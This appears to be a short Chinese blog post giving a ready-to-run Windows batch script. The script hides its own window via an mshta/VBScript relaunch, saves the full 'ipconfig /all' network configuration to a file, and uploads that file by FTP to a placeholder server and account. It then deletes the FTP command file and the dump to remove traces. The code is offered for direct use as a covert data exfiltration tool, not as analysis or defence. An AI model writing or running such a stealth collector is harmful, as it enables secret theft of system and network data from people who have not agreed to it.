代码如下 将代码复制到记事本中保存为.bat文件后缀
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin //以上代码为运行后消失窗口
@Echo Off
ipconfig /all > c:mac.txt //利用DOS命令先生成一个系统网络配置文件
@Echo Off
Echo open 服务器地址>ftp.up
Echo FTP账号 >>ftp.up
Echo FTP密码>>ftp.up
Echo Cd web >>ftp.up
Echo binary>>ftp.up
Echo put "c:mac.txt">>ftp.up //上传刚刚生产的网络配置信息文件
Echo bye>>ftp.up
FTP -s:ftp.up
del ftp.up /q
@Echo Off
@del /f/q/s "c:mac.txt" //上传完后做一个删除
@Echo Off
Last modification:March 9th, 2019 at 07:22 pm
© The copyright belongs to the author